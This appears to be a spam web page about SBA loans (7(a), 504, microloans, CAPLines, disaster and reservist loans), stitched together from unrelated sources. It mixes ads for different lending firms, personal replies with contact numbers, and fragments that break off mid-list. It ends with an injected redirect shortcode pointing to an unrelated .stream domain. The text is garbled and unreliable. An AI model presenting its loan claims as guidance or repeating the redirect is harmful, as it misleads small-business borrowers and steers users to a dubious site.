Applying for an SBA loan is like applying for a regular commercial loan — except this may be the last resort for your businesses because you have to have been turned down for a business loan on your own. It’s not as simple as walking into an SBA office and asking for a loan application. You need to do all the necessary homework and put together all the necessary paperwork that you would before approaching a commercial bank. That means you need to review your personal credit history and be prepared to discuss. You need to assemble the historical financial reports from your business. And you need to have a business plan.
Another important distinction is that while 7(a) and 504 loans come from third party lenders, microloans come directly from government funds, which are administered by local nonprofits in each community. Collateral and a personal guarantee are still required.
Disaster loans fall into a different category than the typical SBA loan. We can help you with this, but you need to contact me very soon. Please call me at 619-279-7522 or email me at [email protected].
CAPLines are SBA lines of credit meant to help small businesses meet short-term and seasonal working capital needs. The SBA offers 5 types of these lines of credit. They can be fixed or revolving, have a max term of 5 years, and otherwise adhere to SBA 7(a) rules. Read more…
You may qualify for an SBA Military Reservist Economic Injury Loan if an essential employee called for active military duty and the loss results in an inability to meet normal operating expenses. If the business is already covered by key man insurance or other business interruption insurance, the amount of the loan will reduce by the amount of coverage.
Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.
Choosing isn’t as hard as it sounds, though. When you shop for your loan with Lendio, one of our personal funding managers will partner with you every step of the way. He or she will talk to you about all your loan options, help you calculate how much financing you need, walk you through collecting all the necessary documents and forms, and tell you everything’s going to be okay. We don’t hug, though. Hugs are where we draw the line.
You may be eligible for an SBA Economic Injury Disaster Loan if your small business has suffered substantial economic injury as a result of a disaster and are unable to meet your normal operational expenses.
The best part about our expert financial advisors is that: they’re always on your team. They work for you and we mean that. Merchant Advisors is a group of America’s Small Business Funding Experts™ who understand when your small business needs funding – our principals have owned many small businesses before that have been in the same situation.
Businesses with special requirements (such as those in exports or those operational in rural areas) are covered under this program. This is considered to be the most flexible choice, and also the most suitable one if you have a start-up in mind. The different 7(a) loan programs are:
Brandon, feel free to contact me anytime at 401-390-3800 and I will be more than happy to discuss any SBA related default topics. We are experts with SBA Defaults, Offer in Compromises, release of personal guarantees, liens on property and assets, etc.
The Cost of Credit After you have gone through the application process and you are approved, you need to still make some important decisions. Understanding the true cost of credit can be confusing. Choosing between the available loan products can greatly affect the amount of the total or true cost of your business loan.
Microlenders offer small-size loans for young businesses with limited revenue and history. They typically offer loans of $50,000 or less. Some microlenders specifically work with small businesses in underrepresented communities and provide business assistance. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]